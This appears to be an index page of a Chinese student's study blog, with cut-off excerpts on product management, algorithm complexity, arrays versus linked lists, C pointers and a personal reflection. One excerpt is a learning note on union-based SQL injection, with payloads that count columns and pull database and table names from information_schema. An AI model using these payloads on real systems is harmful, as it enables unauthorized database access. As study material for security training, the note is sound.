培训笔记8
产品什么是产品产品(Product),是用以满足人们需求和欲望的有形物体或无形载体。
什么是产品经理?发现需求-分析需求-解决需求
体验至上、用户至上
职责协调所有人和资源向一个正确的方向使劲
倾听用户需求负责产品功能的定义、规划和设计做各种复杂决策,保证团队顺利开展工作及跟踪程序错误等
产品经理需要的能力思维模型+分析方法
周记6-SQL注入
SQL 注入union联合注入当完成之前所述的步骤,我们就可以开始正式进行注入环节了
1.步骤1-查询判断
123456order by 列序号(表示按第几列排序)1' order by 1# (不报错)1' order by 2# (不报错)1' order by 3# (不报错)1' order by 4# (报错)说明结果有3列
-1’ union select 1,2,3#id=-1表示查不到结果之前知道结果有3列,所以用1,2,3所以只会显示select 1,2,3中的2、3
2.步骤2-显示数据库名
利用database()函数显示
3.步骤3-获取这个数据库中的所有表名
-1’ union select 1,database(),3#
-1’ union select 1,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),3#
-1’ union select 1,(s ...
培训笔记7
算法通识与部分基础算法
算法的定义:解题方案的准确而完整的表述,一系列解决问题的清晰表述(解决问题的方法,优劣取决于时间复杂度和空间复杂度,即运行时间和内存限制)
时间复杂度:一种衡量算法运行时间长短的指标,是时间随输入规模增长而增长的量度(斜率)*空间复杂度即内存随输入规模增长的量度(斜率)
大O表示法:算法的渐进时间复杂度函数或基本操作重复执行次数T(n),设T(n)=time(1+2n),当n足够大1可以忽略不计,倍数较小时,对于时间复杂度的影响不是很大,通常将常数简化,即T(2n)=O(n),表示一个阶级的时间复杂度
常数阶 O(1) 常量级别
线性阶 O(n) 循环
二次方阶O(n^2) 2层循环
对数阶 O(logN) for(int i=1 ; i<=n ; i*2) 即自增呈指数型增长时为对数阶if( j % i ==0 ) 这种判断也是对数阶
指数阶 O(2^n) for (int j = 1; j <= i * i; ++ ...
培训笔记6
数据结构&算法基础数据结构与算法的由来及其意义为什么要学习数据结构与算法?
随着应用程序变得越来越复杂和数据越来越丰富,几百万、几十亿甚至几百亿的数据就会出现,而对这么大对数据进行搜索、插入或者排序等的操作就越来越慢,数据结构就是用来解决这些问题的。
从数组到链表
比较项
数组
链表
逻辑结构
(1)数组在内存中连续; (2)使用数组之前,必须事先固定数组长度,不支持动态改变数组大小;(3) 数组元素增加时,有可能会数组越界;(4) 数组元素减少时,会造成内存浪费;(5)数组增删时需要移动其它元素
(1)链表采用动态内存分配的方式,在内存中不连续 (2)支持动态增加或者删除元素 (3)需要时可以使用malloc或者new来申请内存,不用时使用free或者delete来释放内存
内存结构
数组从栈上分配内存,使用方便,但是自由度小
链表从堆上分配内存,自由度大,但是要注意内存泄漏
访问效率
数组在内存中顺序存储,可通过下标访问,访问效率高
链表访问效率低,如果想要访问某个元素,需要从头遍历
越界问题
数组的大小是固定的,所以存在访问越界的风险
只要可以申请得 ...
周记5-反思
特别的一次周记学习计算机也有一小段时间了,写一下最近的感悟吧,因为确实经历了一些事,调整一下最近的内容
最近经历了大大小小的考试和培训,学习了不少也感悟到了很多东西,但不得不说最近的新生赛和机试考核都没做出什么成绩,甚至说对于我来说很差劲,也确实有不小的挫败感,让我渐渐的怀疑自己了,但也明白了自己的基础差了不少
从最近也确实发现了,坚持是多么宝贵的精神,失败是多么的沉重,但我深知人不能轻言放弃,对于我来说,确实需要一些时间调整和反思,而且近期也思考了很多
之前也和学长或是同学聊过类似的事,现在看来我确实太急于求成了,对于学计算机的初心早已忘却,我依稀记得高考完的那个暑假,我收到了录取通知书,也坚定了我走计算机的道路,在不久的某一天半夜我心血来潮,第一次踏上了编程之路,满心欢喜的学上了Python这门语言并且真心的沉浸于此,那一晚不知不觉就学到了2点,跟着教程做出的小程序,当时的我确实很激动
在这之后按部就班的继续保持这份热情学习,并且我还记得在之后的那次新生闯关游戏拿了个名次,收获了意义非凡的奖品,但没想到那份骄傲和自豪到现在早已浑然不知,但失败的沉重却重重的对我施压,曾经的我对于精神 ...
培训笔记5
指针
基本用法
1234567891011121314int a=10;int *p; //定义指针p=&a; //指针指向a的地址printf("%d",*p); //使用,解引用p得到a,*为还原指针指向的变量//用指针定义后,两者意义相同(p等价于&a)printf("%p",&a); printf("%p",p); //用指针定义后,两者意义相同(*p等价于a)再次用*即解引用printf("%d",a); printf("%d",*p); //可以通过指针直接访问指向对象的地址
意义:存储变量的地址指针地址为十六进制的值,如果以%d输出地址将转化为十进制输出找到地址->依靠指针类型得到数据
12345678910111213141516171819void swap(int a,int b){ int temp=b; b=a; a=temp;}swap(c,d)/*函数中的参数传递方式是值传递,即 ...